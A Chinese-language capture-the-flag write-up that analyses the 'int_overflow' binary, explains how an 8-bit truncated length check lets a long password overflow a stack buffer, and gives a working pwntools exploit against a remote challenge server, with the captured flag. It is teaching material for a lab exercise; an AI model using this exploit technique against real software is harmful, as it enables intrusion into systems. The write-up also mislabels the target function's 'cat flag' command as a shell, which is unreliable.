Xman pwn int_overflow writeup

原创

tuck3r 于 2019-08-25 12:44:16 发布 429 收藏
分类专栏： CTF pwn 文章标签： Xman pwn writeup

题目描述：

菜鸡感觉这题似乎没有办法溢出，真的么？

分析思路：

1、首先查看一下文件的详细信息，以及相关的安全机制：

```
tucker@ubuntu:~/pwn$ file int_overflow
int_overflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-, for GNU/Linux 2.6.32,
BuildID[sha1]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped
tucker@ubuntu:~/pwn$ checksec int_overflow
[*] '/home/tucker/pwn/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

我们发现程序开启了NX，即栈不可执行，因此我们只能通过栈跳转到现有的代码。

2、打开IDA看一下：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("----------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("----------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}
```

程序的逻辑很简单，输入1跳转到login函数：

```
char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}
```

这个函数也不复杂，我们注意到check_passwd()函数，是关键：

```
char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}
```

首先计算s的长度，如果小于3或者大于8就失败，接下来有一个strcpy函数，dest的长度为0x14，s由前面的login函数最长为0x199,并且在汇编代码中，我们可以看到：

```
.text:080486AD                push    [ebp+s]         ; s
.text:080486B0                call    _strlen
.text:080486B5                add     esp, 10h
.text:080486B8                mov     [ebp+var_9], al
.text:080486BB                cmp     [ebp+var_9], 3
.text:080486BF                jbe     short loc_80486FC
.text:080486C1                cmp     [ebp+var_9], 8
.text:080486C5                ja      short loc_80486FC
```

使用的是al，仅仅8bits，一个byte，因此此处会发生溢出，我们在这里构造合适的psswd，使得长度为0x104，这样al的值为0x4，就可以通过检查，同时也能够覆盖eip的值。

3、我们在程序中发现了这样一个函数：

```
.text:0804868B
.text:0804868B                public what_is_this
.text:0804868B what_is_this   proc near
.text:0804868B ; __unwind {
.text:0804868B                push    ebp
.text:0804868C                mov     ebp, esp
.text:0804868E                sub     esp, 8
.text:08048691                sub     esp, 0Ch
.text:08048694                push    offset command  ; "cat flag"
.text:08048699                call    _system
.text:0804869E                add     esp, 10h
.text:080486A1                nop
.text:080486A2                leave
.text:080486A3                retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this   endp
```

恰好是system("/bin/sh"),因此我们可以控制程序跳转到这个函数，从而获得shell，编写的exp如下：

```
# int_overflow.py

from pwn import *

payload = 'A' * (0x14 + 0x4) + p32(0x804868B) + 'A' * (0x104 - 0x14 - 0x8)

# a = process("./int_overflow")
a = remote("111.198.29.45", "35586")

a.recvuntil("Your choice:")
a.sendline("1")
a.recvuntil("Please input your username:")
a.sendline("tucker")
a.recvuntil("Please input your passwd:")
a.sendline(payload)

a.interactive()
```

运行即可得到flag：

```
tucker@ubuntu:~/pwn$ python int_overflow.py
[+] Opening connection to 111.198.29.45 on port 35586: Done
[*] Switching to interactive mode

Success
cyberpeace{6c76c6cdb49f176cd93fdf847f35946a}
```